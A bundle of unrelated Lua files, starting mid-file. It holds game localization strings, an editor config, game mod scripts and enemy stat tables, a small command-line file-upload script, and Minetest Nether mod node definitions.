heal = function(_1)
return ("%sは正気に戻った。")
:format(name(_1))
end,
insane = {
_0 = "不安定",
_1 = "狂気",
_2 = "崩壊"
},
},
paralysis = {
apply = function(_1)
return ("%sは麻痺した。")
:format(name(_1))
end,
heal = function(_1)
return ("%sは麻痺から回復した。")
:format(name(_1))
end,
indicator = "麻痺",
},
poison = {
apply = function(_1)
return ("%sは毒におかされた。")
:format(name(_1))
end,
heal = function(_1)
return ("%sは毒から回復した。")
:format(name(_1))
end,
indicator = {
_0 = "毒",
_1 = "猛毒"
},
},
sick = {
apply = function(_1)
return ("%sは病気になった。")
:format(name(_1))
end,
heal = function(_1)
return ("%sの病気は治った。")
:format(name(_1))
end,
indicator = {
_0 = "病気",
_1 = "重病"
},
},
sleep = {
apply = function(_1)
return ("%sは眠りにおちた。")
:format(name(_1))
end,
heal = function(_1)
return ("%sは心地よい眠りから覚めた。")
:format(name(_1))
end,
indicator = {
_0 = "睡眠",
_1 = "爆睡"
},
},
choking = {
indicator = "窒息"
},
fury = {
indicator = {
_0 = "激怒",
_1 = "狂乱"
}
},
gravity = {
indicator = "重力",
},
wet = {
indicator = "濡れ"
}
},
indicator = {
burden = {
_0 = "",
_1 = "重荷",
_2 = "圧迫",
_3 = "超過",
_4 = "潰れ中"
},
hunger = {
_0 = "餓死中",
_1 = "飢餓",
_2 = "空腹",
_3 = "空腹",
_4 = "空腹",
_5 = "",
_6 = "",
_7 = "",
_8 = "",
_9 = "",
_10 = "満腹",
_11 = "満腹",
_12 = "食過ぎ",
},
sleepy = {
_0 = "睡眠可",
_1 = "要睡眠",
_2 = "要睡眠"
},
tired = {
_0 = "軽疲労",
_1 = "疲労",
_2 = "過労"
},
}
}
}
|
local feature = require('fur.feature')
local rust = feature:new('lang.rust')
rust.source = 'lua/lang/rust.lua'
rust.plugins = {
{
'simrat39/rust-tools.nvim',
ft = { 'rust' },
config = function()
local opts = {
tools = {
-- inlay_hints = {
-- show_parameter_hints = false,
-- },
},
}
require('rust-tools').setup(opts)
end,
},
}
rust.setup = function()
require('lib.lsp').set_config('rust_analyzer', {
settings = {
['rust-analyzer'] = {
diagnostics = { disabled = { 'unresolved-proc-macro' } },
checkOnSave = { command = 'clippy' },
},
},
})
end
return rust
|
local Prop = {}
Prop.Name = "Subs Farm House 101"
Prop.Cat = "House"
Prop.Price = 820
Prop.Doors = {
Vector( 10723, 10796, -1764 ),
Vector( 10563, 10796, -1764 ),
}
GM.Property:Register( Prop ) |
pg = pg or {}
pg.enemy_data_statistics_268 = {
[13600404] = {
cannon = 47,
reload = 150,
speed_growth = 0,
cannon_growth = 2200,
battle_unit_type = 60,
air = 0,
base = 448,
dodge = 0,
durability_growth = 70400,
antiaircraft = 135,
speed = 15,
reload_growth = 0,
dodge_growth = 0,
luck = 0,
antiaircraft_growth = 1400,
hit = 15,
antisub_growth = 0,
air_growth = 0,
antisub = 0,
torpedo = 0,
durability = 5270,
armor_growth = 0,
torpedo_growth = 0,
luck_growth = 0,
hit_growth = 144,
armor = 0,
id = 13600404,
equipment_list = {
1100053,
1100918,
1100923
}
},
[13600405] = {
cannon = 0,
reload = 150,
speed_growth = 0,
cannon_growth = 0,
battle_unit_type = 65,
air = 55,
base = 449,
dodge = 0,
durability_growth = 65600,
antiaircraft = 150,
speed = 15,
reload_growth = 0,
dodge_growth = 0,
luck = 0,
antiaircraft_growth = 1800,
hit = 15,
antisub_growth = 0,
air_growth = 2000,
antisub = 0,
torpedo = 0,
durability = 4680,
armor_growth = 0,
torpedo_growth = 0,
luck_growth = 0,
hit_growth = 144,
armor = 0,
id = 13600405,
equipment_list = {
1100053,
1100388,
1100933,
1100938
}
},
[13600406] = {
cannon = 45,
reload = 150,
speed_growth = 0,
cannon_growth = 640,
pilot_ai_template_id = 70092,
air = 0,
battle_unit_type = 50,
dodge = 28,
base = 441,
durability_growth = 23600,
antiaircraft = 125,
reload_growth = 0,
dodge_growth = 450,
speed = 36,
luck = 0,
hit = 35,
antisub_growth = 0,
air_growth = 0,
antiaircraft_growth = 3000,
torpedo = 135,
durability = 4340,
armor_growth = 0,
torpedo_growth = 5200,
luck_growth = 0,
hit_growth = 350,
armor = 0,
antisub = 0,
id = 13600406,
equipment_list = {
650301,
650302,
650303,
650304
}
},
[13600407] = {
cannon = 74,
reload = 150,
speed_growth = 0,
cannon_growth = 936,
battle_unit_type = 55,
air = 0,
base = 442,
dodge = 11,
durability_growth = 33600,
antiaircraft = 255,
speed = 24,
reload_growth = 0,
dodge_growth = 162,
luck = 0,
antiaircraft_growth = 3744,
hit = 20,
antisub_growth = 0,
air_growth = 0,
antisub = 0,
torpedo = 112,
durability = 5270,
armor_growth = 0,
torpedo_growth = 3366,
luck_growth = 0,
hit_growth = 210,
armor = 0,
id = 13600407,
equipment_list = {
650305,
650306,
650307,
650308
}
},
[13600408] = {
cannon = 102,
reload = 150,
speed_growth = 0,
cannon_growth = 1750,
battle_unit_type = 60,
air = 0,
base = 443,
dodge = 17,
durability_growth = 43200,
antiaircraft = 192,
speed = 18,
reload_growth = 0,
dodge_growth = 170,
luck = 0,
antiaircraft_growth = 3880,
hit = 35,
antisub_growth = 0,
air_growth = 0,
antisub = 0,
torpedo = 84,
durability = 6040,
armor_growth = 0,
torpedo_growth = 3200,
luck_growth = 0,
hit_growth = 350,
armor = 0,
id = 13600408,
equipment_list = {
650309,
650310,
650311,
650312,
650340
}
},
[13600411] = {
cannon = 0,
reload = 150,
hit_growth = 120,
cannon_growth = 0,
pilot_ai_template_id = 20001,
air = 0,
speed_growth = 0,
dodge = 0,
battle_unit_type = 20,
base = 90,
durability_growth = 6800,
reload_growth = 0,
dodge_growth = 0,
antiaircraft = 0,
speed = 30,
hit = 8,
antisub_growth = 0,
air_growth = 0,
luck = 0,
torpedo = 0,
durability = 850,
armor_growth = 0,
torpedo_growth = 0,
luck_growth = 0,
antiaircraft_growth = 0,
armor = 0,
antisub = 0,
id = 13600411,
appear_fx = {
"appearsmall"
}
},
[13600412] = {
cannon = 0,
reload = 150,
speed_growth = 0,
cannon_growth = 0,
pilot_ai_template_id = 20001,
air = 0,
battle_unit_type = 35,
dodge = 0,
base = 70,
durability_growth = 2550,
antiaircraft = 0,
reload_growth = 0,
dodge_growth = 0,
speed = 15,
luck = 0,
hit = 8,
antisub_growth = 0,
air_growth = 0,
wave_fx = "danchuanlanghuaxiao2",
torpedo = 70,
durability = 320,
armor_growth = 0,
torpedo_growth = 864,
luck_growth = 0,
hit_growth = 120,
armor = 0,
antiaircraft_growth = 0,
id = 13600412,
antisub = 0,
appear_fx = {
"appearsmall"
},
equipment_list = {
1000863
}
},
[13600413] = {
cannon = 100,
reload = 150,
speed_growth = 0,
cannon_growth = 0,
pilot_ai_template_id = 80000,
air = 0,
battle_unit_type = 15,
dodge = 0,
base = 80,
durability_growth = 2550,
antiaircraft = 0,
reload_growth = 0,
dodge_growth = 0,
speed = 30,
luck = 0,
hit = 81,
antisub_growth = 0,
air_growth = 0,
antiaircraft_growth = 0,
torpedo = 180,
durability = 90,
armor_growth = 0,
torpedo_growth = 900,
luck_growth = 0,
hit_growth = 1200,
armor = 0,
id = 13600413,
antisub = 0,
appear_fx = {
"appearsmall"
},
equipment_list = {
1000868
}
},
[13600431] = {
cannon = 115,
reload = 150,
speed_growth = 0,
cannon_growth = 1600,
battle_unit_type = 90,
air = 0,
base = 442,
dodge = 11,
durability_growth = 193600,
antiaircraft = 280,
speed = 20,
reload_growth = 0,
dodge_growth = 156,
luck = 18,
antiaircraft_growth = 3600,
hit = 25,
antisub_growth = 0,
air_growth = 0,
antisub = 0,
torpedo = 165,
durability = 10470,
armor_growth = 0,
torpedo_growth = 2000,
luck_growth = 0,
hit_growth = 210,
armor = 0,
id = 13600431,
equipment_list = {
650305,
650306,
650307,
650308,
650313
}
},
[13600432] = {
cannon = 120,
reload = 150,
speed_growth = 0,
cannon_growth = 1700,
battle_unit_type = 90,
air = 0,
base = 443,
dodge = 11,
durability_growth = 220600,
antiaircraft = 205,
speed = 20,
reload_growth = 0,
dodge_growth = 156,
luck = 18,
antiaircraft_growth = 3200,
hit = 25,
antisub_growth = 0,
air_growth = 0,
antisub = 0,
torpedo = 105,
durability = 12530,
armor_growth = 0,
torpedo_growth = 1500,
luck_growth = 0,
hit_growth = 210,
armor = 0,
id = 13600432,
equipment_list = {
650309,
650310,
650311,
650312,
650340,
650313
}
},
[13600433] = {
cannon = 105,
reload = 150,
speed_growth = 0,
cannon_growth = 1200,
pilot_ai_template_id = 70092,
air = 0,
battle_unit_type = 90,
dodge = 11,
base = 441,
durability_growth = 181300,
antiaircraft = 280,
reload_growth = 0,
dodge_growth = 156,
speed = 20,
luck = 18,
hit = 30,
antisub_growth = 0,
air_growth = 0,
antiaircraft_growth = 2800,
torpedo = 165,
durability = 9620,
armor_growth = 0,
torpedo_growth = 3000,
luck_growth = 0,
hit_growth = 210,
armor = 0,
antisub = 0,
id = 13600433,
equipment_list = {
650301,
650302,
650303,
650304,
650313
}
},
[13600434] = {
cannon = 120,
reload = 150,
speed_growth = 0,
cannon_growth = 1700,
battle_unit_type = 90,
air = 0,
base = 443,
dodge = 11,
durability_growth = 220600,
antiaircraft = 205,
speed = 20,
reload_growth = 0,
dodge_growth = 156,
luck = 18,
antiaircraft_growth = 3200,
hit = 25,
antisub_growth = 0,
air_growth = 0,
antisub = 0,
torpedo = 105,
durability = 12530,
armor_growth = 0,
torpedo_growth = 1500,
luck_growth = 0,
hit_growth = 210,
armor = 0,
id = 13600434,
equipment_list = {
650309,
650310,
650311,
650312,
650340,
650313
}
},
[13600435] = {
cannon = 105,
reload = 150,
speed_growth = 0,
cannon_growth = 1200,
pilot_ai_template_id = 70092,
air = 0,
battle_unit_type = 90,
dodge = 11,
base = 441,
durability_growth = 181300,
antiaircraft = 280,
reload_growth = 0,
dodge_growth = 156,
speed = 20,
luck = 18,
hit = 30,
antisub_growth = 0,
air_growth = 0,
antiaircraft_growth = 2800,
torpedo = 270,
durability = 9620,
armor_growth = 0,
torpedo_growth = 3000,
luck_growth = 0,
hit_growth = 210,
armor = 0,
antisub = 0,
id = 13600435,
equipment_list = {
650301,
650302,
650303,
650304,
650313
}
},
[13600436] = {
cannon = 115,
reload = 150,
speed_growth = 0,
cannon_growth = 1600,
battle_unit_type = 90,
air = 0,
base = 442,
dodge = 11,
durability_growth = 193600,
antiaircraft = 320,
speed = 20,
reload_growth = 0,
dodge_growth = 156,
luck = 18,
antiaircraft_growth = 3600,
hit = 25,
antisub_growth = 0,
air_growth = 0,
antisub = 0,
torpedo = 165,
durability = 10470,
armor_growth = 0,
torpedo_growth = 2000,
luck_growth = 0,
hit_growth = 210,
armor = 0,
id = 13600436,
equipment_list = {
650305,
650306,
650307,
650308,
650313
}
},
[13600451] = {
cannon = 198,
reload = 150,
speed_growth = 0,
cannon_growth = 0,
pilot_ai_template_id = 20006,
air = 0,
battle_unit_type = 95,
dodge = 24,
base = 441,
durability_growth = 0,
antiaircraft = 350,
reload_growth = 0,
dodge_growth = 256,
speed = 20,
luck = 25,
hit = 32,
antisub_growth = 0,
air_growth = 0,
antiaircraft_growth = 0,
torpedo = 260,
durability = 89250,
armor_growth = 0,
torpedo_growth = 0,
luck_growth = 0,
hit_growth = 210,
armor = 0,
id = 13600451,
antisub = 0,
appear_fx = {
"bossguangxiao",
"appearQ"
},
equipment_list = {
650314
}
},
[13600452] = {
cannon = 198,
reload = 150,
speed_growth = 0,
cannon_growth = 0,
battle_unit_type = 95,
air = 0,
base = 442,
dodge = 20,
durability_growth = 0,
antiaircraft = 380,
speed = 18,
reload_growth = 0,
dodge_growth = 256,
luck = 25,
antiaircraft_growth = 0,
hit = 38,
antisub_growth = 0,
air_growth = 0,
antisub = 0,
torpedo = 340,
durability = 102200,
armor_growth = 0,
torpedo_growth = 0,
luck_growth = 0,
hit_growth = 210,
armor = 0,
id = 13600452,
appear_fx = {
"bossguangxiao",
"appearQ"
},
equipment_list = {
650331
}
}
}
return
|
-- upload file
curl = require("lcurl")
usage = [[
path/to/save [url]
]]
if not arg[1] or arg[1] == "" then
print("path/to/file cannot be nil\n")
print("Usage:")
print(arg[0], usage)
os.exit()
end
file_to_upload = arg[1]
remote_url = "http://test.muabaobao.com/record/upload"
local post = curl.form()
-- post file from filesystem
post:add_file ("filename", file_to_upload)
p = function ()
print("#")
end
c = curl.easy{
url = remote_url,
[curl.OPT_VERBOSE] = true,
[curl.OPT_NOPROGRESS] = false;
}
c:setopt_httppost(post)
c:setopt_progressfunction(p)
c:perform()
print("File: " .. file_to_upload)
print("Upload to: " .. remote_url)
c:close()
print("Done")
|
modifier_elementalbuilder_passive_fire_negative_lua = class({})
--------------------------------------------------------------------------------
function modifier_elementalbuilder_passive_fire_negative_lua:IsHidden()
if self:GetStackCount() < 1 then return true else return false end
end
--------------------------------------------------------------------------------
function modifier_elementalbuilder_passive_fire_negative_lua:GetTexture()
return "lina_dragon_slave"
end
--------------------------------------------------------------------------------
function modifier_elementalbuilder_passive_fire_negative_lua:OnCreated(kv)
self.fire_damage_decrease = self:GetAbility():GetSpecialValueFor("basedamagepercent_decrease")
if IsServer() then
--
end
end
--------------------------------------------------------------------------------
function modifier_elementalbuilder_passive_fire_negative_lua:OnRefresh(kv)
self.fire_damage_decrease = self:GetAbility():GetSpecialValueFor("basedamagepercent_decrease")
if IsServer() then
--
end
end
--------------------------------------------------------------------------------
function modifier_elementalbuilder_passive_fire_negative_lua:DeclareFunctions()
local funcs = {
MODIFIER_PROPERTY_BASEDAMAGEOUTGOING_PERCENTAGE, MODIFIER_PROPERTY_TOOLTIP
}
return funcs
end
--------------------------------------------------------------------------------
function modifier_elementalbuilder_passive_fire_negative_lua:GetModifierBaseDamageOutgoing_Percentage(params)
return self.fire_damage_decrease * self:GetStackCount()
end
--------------------------------------------------------------------------------
function modifier_elementalbuilder_passive_fire_negative_lua:OnTooltip(params)
return self.fire_damage_decrease * self:GetStackCount() * -1
end
--------------------------------------------------------------------------------
function modifier_elementalbuilder_passive_fire_negative_lua:IsDebuff()
return true
end
|
-- See LICENSE for terms
local time_str = {12265, "Remaining Time<right><time(time)>"}
local shep = g_AvailableDlc.shepard
if shep then
function Pasture:GetChoGGi_HarvestTimeRemaining()
time_str.time = self.current_herd_lifetime or 0
return T(time_str)
end
end
function Farm:GetChoGGi_HarvestTimeRemaining()
local grown, duration = self:GetGrowthTimes()
time_str.time = duration - grown
return T(time_str)
end
local function AddTimeRemaining(xtemplate)
if xtemplate.ChoGGi_AddedFarmTimeRemaining then
return
end
xtemplate.ChoGGi_AddedFarmTimeRemaining = true
local idx = table.find(xtemplate, "Image", "UI/CommonNew/ip_header.tga")
if not idx then
return
end
xtemplate = xtemplate[idx]
xtemplate[#xtemplate+1] = PlaceObj("XTemplateTemplate", {
"__template", "InfopanelText",
"Margins", box(52, 0, 20, 0),
"Text", T("<ChoGGi_HarvestTimeRemaining>"),
})
end
function OnMsg.ClassesPostprocess()
AddTimeRemaining(XTemplates.sectionCrop[1])
if shep then
AddTimeRemaining(XTemplates.sectionPasture[1])
end
end
|
--[[
Nether mod for minetest
Copyright (C) 2013 PilzAdam
Permission to use, copy, modify, and/or distribute this software for
any purpose with or without fee is hereby granted, provided that the
above copyright notice and this permission notice appear in all copies.
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL
WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR
BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES
OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION,
ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
SOFTWARE.
]]--
local S = nether.get_translator
-- Portal/wormhole nodes
nether.register_wormhole_node("nether:portal", {
description = S("Nether Portal"),
post_effect_color = {
-- post_effect_color can't be changed dynamically in Minetest like the portal colour is.
-- If you need a different post_effect_color then use register_wormhole_node to create
-- another wormhole node and set it as the wormhole_node_name in your portaldef.
-- Hopefully this colour is close enough to magenta to work with the traditional magenta
-- portals, close enough to red to work for a red portal, and also close enough to red to
-- work with blue & cyan portals - since blue portals are sometimes portrayed as being red
-- from the opposite side / from the inside.
a = 160, r = 128, g = 0, b = 80
}
})
local portal_animation2 = {
name = "nether_portal_alt.png",
animation = {
type = "vertical_frames",
aspect_w = 16,
aspect_h = 16,
length = 0.5,
},
}
nether.register_wormhole_node("nether:portal_alt", {
description = S("Portal"),
tiles = {
"nether_transparent.png",
"nether_transparent.png",
"nether_transparent.png",
"nether_transparent.png",
portal_animation2,
portal_animation2
},
post_effect_color = {
-- hopefully blue enough to work with blue portals, and green enough to
-- work with cyan portals.
a = 120, r = 0, g = 128, b = 188
}
})
--== Transmogrification functions ==--
-- Functions enabling selected nodes to be temporarily transformed into other nodes.
-- (so the light staff can temporarily turn netherrack into glowstone)
-- Swaps the node at `nodePos` with `newNode`, unless `newNode` is nil in which
-- case the node is swapped back to its original type.
-- `monoSimpleSoundSpec` is optional.
-- returns true if a node was transmogrified
nether.magicallyTransmogrify_node = function(nodePos, playerName, newNode, monoSimpleSoundSpec, isPermanent)
local meta = minetest.get_meta(nodePos)
local playerEyePos = nodePos -- fallback value in case the player no longer exists
local player = minetest.get_player_by_name(playerName)
if player ~= nil then
local playerPos = player:get_pos()
playerEyePos = vector.add(playerPos, {x = 0, y = 1.5, z = 0}) -- not always the cameraPos, e.g. 3rd person mode.
end
local oldNode = minetest.get_node(nodePos)
if oldNode.name == "air" then
-- the node has been mined or otherwise destroyed, abort the operation
return false
end
local oldNodeDef = minetest.registered_nodes[oldNode.name] or minetest.registered_nodes["air"]
local specialFXSize = 1 -- a specialFXSize of 1 is for full SFX, 0.5 is half-sized
local returningToNormal = newNode == nil
if returningToNormal then
-- This is the transmogrified node returning back to normal - a more subdued animation
specialFXSize = 0.5
-- read what the node used to be from the metadata
newNode = {
name = meta:get_string("transmogrified_name"),
param1 = meta:get_string("transmogrified_param1"),
param2 = meta:get_string("transmogrified_param2")
}
if newNode.name == "" then
minetest.log("warning", "nether.magicallyTransmogrify_node() invoked to restore node which wasn't transmogrified")
return false
end
end
local soundSpec = monoSimpleSoundSpec
if soundSpec == nil and oldNodeDef.sounds ~= nil then
soundSpec = oldNodeDef.sounds.dug or oldNodeDef.sounds.dig
if soundSpec == "__group" then soundSpec = "default_dig_cracky" end
end
if soundSpec ~= nil then
minetest.sound_play(soundSpec, {pos = nodePos, max_hear_distance = 50})
end
-- Start the particlespawner nearer the player's side of the node to create
-- more initial occlusion for an illusion of the old node breaking apart / falling away.
local dirToPlayer = vector.normalize(vector.subtract(playerEyePos, nodePos))
local impactPos = vector.add(nodePos, vector.multiply(dirToPlayer, 0.5))
local velocity = 1 + specialFXSize
minetest.add_particlespawner({
amount = 50 * specialFXSize,
time = 0.1,
minpos = vector.add(impactPos, -0.3),
maxpos = vector.add(impactPos, 0.3),
minvel = {x = -velocity, y = -velocity, z = -velocity},
maxvel = {x = velocity, y = 3 * velocity, z = velocity}, -- biased upward to counter gravity in the initial stages
minacc = {x=0, y=-10, z=0},
maxacc = {x=0, y=-10, z=0},
minexptime = 1.5 * specialFXSize,
maxexptime = 3 * specialFXSize,
minsize = 0.5,
maxsize = 5,
node = {name = oldNodeDef.name},
glow = oldNodeDef.light_source
})
if returningToNormal or isPermanent then
-- clear the metadata that indicates the node is transformed
meta:set_string("transmogrified_name", "")
meta:set_int("transmogrified_param1", 0)
meta:set_int("transmogrified_param2", 0)
else
-- save the original node so it can be restored
meta:set_string("transmogrified_name", oldNode.name)
meta:set_int("transmogrified_param1", oldNode.param1)
meta:set_int("transmogrified_param2", oldNode.param2)
end
minetest.swap_node(nodePos, newNode)
return true
end
local function transmogrified_can_dig (pos, player)
if minetest.get_meta(pos):get_string("transmogrified_name") ~= "" then
-- This node was temporarily transformed into its current form
-- revert it back, rather than allow the player to mine transmogrified nodes.
local playerName = ""
if player ~= nil then playerName = player:get_player_name() end
nether.magicallyTransmogrify_node(pos, playerName)
return false
end
return true
end
-- Nether nodes
minetest.register_node("nether:rack", {
description = S("Netherrack"),
tiles = {"nether_rack.png"},
is_ground_content = true,
-- setting workable_with_nether_tools reduces the wear on nether:pick_nether when mining this node
groups = {cracky = 3, level = 2, workable_with_nether_tools = 3},
sounds = default.node_sound_stone_defaults(),
})
-- Deep Netherrack, found in the mantle / central magma layers
minetest.register_node("nether:rack_deep", {
description = S("Deep Netherrack"),
_doc_items_longdesc = S("Netherrack from deep in the mantle"),
tiles = {"nether_rack_deep.png"},
is_ground_content = true,
-- setting workable_with_nether_tools reduces the wear on nether:pick_nether when mining this node
groups = {cracky = 3, level = 2, workable_with_nether_tools = 3},
sounds = default.node_sound_stone_defaults(),
})
minetest.register_node("nether:sand", {
description = S("Nethersand"),
tiles = {"nether_sand.png"},
is_ground_content = true,
groups = {crumbly = 3, level = 2, falling_node = 1},
sounds = default.node_sound_gravel_defaults({
footstep = {name = "default_gravel_footstep", gain = 0.45},
}),
})
minetest.register_node("nether:glowstone", {
description = S("Glowstone"),
tiles = {"nether_glowstone.png"},
is_ground_content = true,
light_source = 14,
paramtype = "light",
groups = {cracky = 3, oddly_breakable_by_hand = 3},
sounds = default.node_sound_glass_defaults(),
can_dig = transmogrified_can_dig, -- to ensure glowstone temporarily created by the lightstaff can't be kept
})
-- Deep glowstone, found in the mantle / central magma layers
minetest.register_node("nether:glowstone_deep", {
description = S("Deep Glowstone"),
tiles = {"nether_glowstone_deep.png"},
is_ground_content = true,
light_source = 14,
paramtype = "light",
groups = {cracky = 3, oddly_breakable_by_hand = 3},
sounds = default.node_sound_glass_defaults(),
can_dig = transmogrified_can_dig, -- to ensure glowstone temporarily created by the lightstaff can't be kept
})
minetest.register_node("nether:brick", {
description = S("Nether Brick"),
tiles = {"nether_brick.png"},
is_ground_content = false,
groups = {cracky = 2, level = 2},
sounds = default.node_sound_stone_defaults(),
})
minetest.register_node("nether:brick_compressed", {
description = S("Compressed Netherbrick"),
tiles = {"nether_brick_compressed.png"},
groups = {cracky = 3, level = 2},
is_ground_content = false,
sounds = default.node_sound_stone_defaults(),
})
-- A decorative node which can only be obtained from dungeons or structures
minetest.register_node("nether:brick_cracked", {
description = S("Cracked Nether Brick"),
tiles = {"nether_brick_cracked.png"},
is_ground_content = false,
groups = {cracky = 2, level = 2},
sounds = default.node_sound_stone_defaults(),
})
local fence_texture =
"default_fence_overlay.png^nether_brick.png^default_fence_overlay.png^[makealpha:255,126,126"
minetest.register_node("nether:fence_nether_brick", {
description = S("Nether Brick Fence"),
drawtype = "fencelike",
tiles = {"nether_brick.png"},
inventory_image = fence_texture,
wield_image = fence_texture,
paramtype = "light",
sunlight_propagates = true,
is_ground_content = false,
selection_box = {
type = "fixed",
fixed = {-1/7, -1/2, -1/7, 1/7, 1/2, 1/7},
},
groups = {cracky = 2, level = 2},
sounds = default.node_sound_stone_defaults(),
})
minetest.register_node("nether:brick_deep", {
description = S("Deep Nether Brick"),
tiles = {{
name = "nether_brick_deep.png",
align_style = "world",
scale = 2
}},
is_ground_content = false,
groups = {cracky = 2, level = 2},
sounds = default.node_sound_stone_defaults()
})
-- Register stair and slab
-- Nether bricks can be made into stairs, slabs, inner stairs, and outer stairs
stairs.register_stair_and_slab( -- this function also registers inner and outer stairs
"nether_brick", -- subname
"nether:brick", -- recipeitem
{cracky = 2, level = 2}, -- groups
{"nether_brick.png"}, -- images
S("Nether Stair"), -- desc_stair
S("Nether Slab"), -- desc_slab
minetest.registered_nodes["nether:brick"].sounds, -- sounds
false, -- worldaligntex
S("Inner Nether Stair"), -- desc_stair_inner
S("Outer Nether Stair") -- desc_stair_outer
)
stairs.register_stair_and_slab( -- this function also registers inner and outer stairs
"nether_brick_deep", -- subname
"nether:brick_deep", -- recipeitem
{cracky = 2, level = 2}, -- groups
{"nether_brick_deep.png"}, -- images
S("Deep Nether Stair"), -- desc_stair
S("Deep Nether Slab"), -- desc_slab
minetest.registered_nodes["nether:brick_deep"].sounds, -- sounds
false, -- worldaligntex
S("Inner Deep Nether Stair"), -- desc_stair_inner
S("Outer Deep Nether Stair") -- desc_stair_outer
)
-- Netherrack can be shaped into stairs, slabs and walls
stairs.register_stair(
"netherrack",
"nether:rack",
{cracky = 2, level = 2},
{"nether_rack.png"},
S("Netherrack stair"),
minetest.registered_nodes["nether:rack"].sounds
)
stairs.register_slab( -- register a slab without adding inner and outer stairs
"netherrack",
"nether:rack",
{cracky = 2, level = 2},
{"nether_rack.png"},
S("Deep Netherrack slab"),
minetest.registered_nodes["nether:rack"].sounds
)
stairs.register_stair(
"netherrack_deep",
"nether:rack_deep",
{cracky = 2, level = 2},
{"nether_rack_deep.png"},
S("Deep Netherrack stair"),
minetest.registered_nodes["nether:rack_deep"].sounds
)
stairs.register_slab( -- register a slab without adding inner and outer stairs
"netherrack_deep",
"nether:rack_deep",
{cracky = 2, level = 2},
{"nether_rack_deep.png"},
S("Deep Netherrack slab"),
minetest.registered_nodes["nether:rack_deep"].sounds
)
-- Connecting walls
if minetest.get_modpath("walls") and minetest.global_exists("walls") and walls.register ~= nil then
walls.register("nether:rack_wall", "A Netherrack wall", "nether_rack.png", "nether:rack", minetest.registered_nodes["nether:rack"].sounds)
walls.register("nether:rack_deep_wall", "A Deep Netherrack wall", "nether_rack_deep.png", "nether:rack_deep", minetest.registered_nodes["nether:rack_deep"].sounds)
end
-- StairsPlus
if minetest.get_modpath("moreblocks") then
-- Registers about 49 different shapes of nether brick, replacing the stairs & slabs registered above.
-- (This could also be done for deep nether brick, but I've left that out to avoid a precedent of 49 new
-- nodes every time the nether gets a new material. Nether structures won't be able to use them because
-- they can't depend on moreblocks)
stairsplus:register_all(
"nether", "brick", "nether:brick", {
description = S("Nether Brick"),
groups = {cracky = 2, level = 2},
tiles = {"nether_brick.png"},
sounds = minetest.registered_nodes["nether:brick"].sounds,
})
end
-- Mantle nodes
-- Nether basalt is intended as a valuable material and possible portalstone - an alternative to
-- obsidian that's available for other mods to use.
-- It cannot be found in the regions of the nether where Nether portals link to, so requires a journey to obtain.
minetest.register_node("nether:basalt", {
description = S("Nether Basalt"),
_doc_items_longdesc = S("Columns of dark basalt found only in magma oceans deep within the Nether."),
tiles = {
"nether_basalt.png",
"nether_basalt.png",
"nether_basalt_side.png",
"nether_basalt_side.png",
"nether_basalt_side.png",
"nether_basalt_side.png"
},
is_ground_content = true,
groups = {cracky = 1, level = 3}, -- set proper digging times and uses, and maybe explosion immune if api handles that
on_blast = function() --[[blast proof]] end,
sounds = default.node_sound_stone_defaults(),
})
-- Potentially a portalstone, but will also be a stepping stone between basalt
-- and chiseled basalt.
-- It can only be introduced by the biomes-based mapgen, since it requires the
-- MT 5.0 world-align texture features.
minetest.register_node("nether:basalt_hewn", {
description = S("Hewn Basalt"),
_doc_items_longdesc = S("A rough cut solid block of Nether Basalt."),
tiles = {{
name = "nether_basalt_hewn.png",
align_style = "world",
scale = 2
}},
inventory_image = minetest.inventorycube(
"nether_basalt_hewn.png^[sheet:2x2:0,0",
"nether_basalt_hewn.png^[sheet:2x2:0,1",
"nether_basalt_hewn.png^[sheet:2x2:1,1"
),
is_ground_content = false,
groups = {cracky = 1, level = 2},
on_blast = function() --[[blast proof]] end,
sounds = default.node_sound_stone_defaults(),
})
-- Chiselled basalt is intended as a portalstone - an alternative to obsidian that's
-- available for other mods to use. It is crafted from Hewn Basalt.
-- It should only be introduced by the biomes-based mapgen, since in future it may
-- require the MT 5.0 world-align texture features.
minetest.register_node("nether:basalt_chiselled", {
description = S("Chiselled Basalt"),
_doc_items_longdesc = S("A finely finished block of solid Nether Basalt."),
tiles = {
"nether_basalt_chiselled_top.png",
"nether_basalt_chiselled_top.png" .. "^[transformFY",
"nether_basalt_chiselled_side.png",
"nether_basalt_chiselled_side.png",
"nether_basalt_chiselled_side.png",
"nether_basalt_chiselled_side.png"
},
inventory_image = minetest.inventorycube(
"nether_basalt_chiselled_top.png",
"nether_basalt_chiselled_side.png",
"nether_basalt_chiselled_side.png"
),
paramtype2 = "facedir",
is_ground_content = false,
groups = {cracky = 1, level = 2},
on_blast = function() --[[blast proof]] end,
sounds = default.node_sound_stone_defaults(),
})
-- Lava-sea source
-- This is a lava source using a different animated texture so that each node
-- is out of phase in its animation from its neighbor. This prevents the magma
-- ocean from visually clumping together into a patchwork of 16x16 squares.
-- It can only be used by the biomes-based mapgen, since it requires the MT 5.0
-- world-align texture features.
local lavasea_source = {}
local lava_source = minetest.registered_nodes["default:lava_source"]
for key, value in pairs(lava_source) do lavasea_source[key] = value end
lavasea_source.name = nil
lavasea_source.tiles = {
{
name = "nether_lava_source_animated.png",
backface_culling = false,
align_style = "world",
scale = 2,
animation = {
type = "vertical_frames",
aspect_w = 32,
aspect_h = 32,
length = 3.0,
},
},
{
name = "nether_lava_source_animated.png",
backface_culling = true,
align_style = "world",
scale = 2,
animation = {
type = "vertical_frames",
aspect_w = 32,
aspect_h = 32,
length = 3.0,
},
},
}
lavasea_source.groups = { not_in_creative_inventory = 1 } -- Avoid having two lava source blocks in the inv.
for key, value in pairs(lava_source.groups) do lavasea_source.groups[key] = value end
lavasea_source.liquid_alternative_source = "nether:lava_source"
lavasea_source.inventory_image = minetest.inventorycube(
"nether_lava_source_animated.png^[sheet:2x16:0,0",
"nether_lava_source_animated.png^[sheet:2x16:0,1",
"nether_lava_source_animated.png^[sheet:2x16:1,1"
)
minetest.register_node("nether:lava_source", lavasea_source)
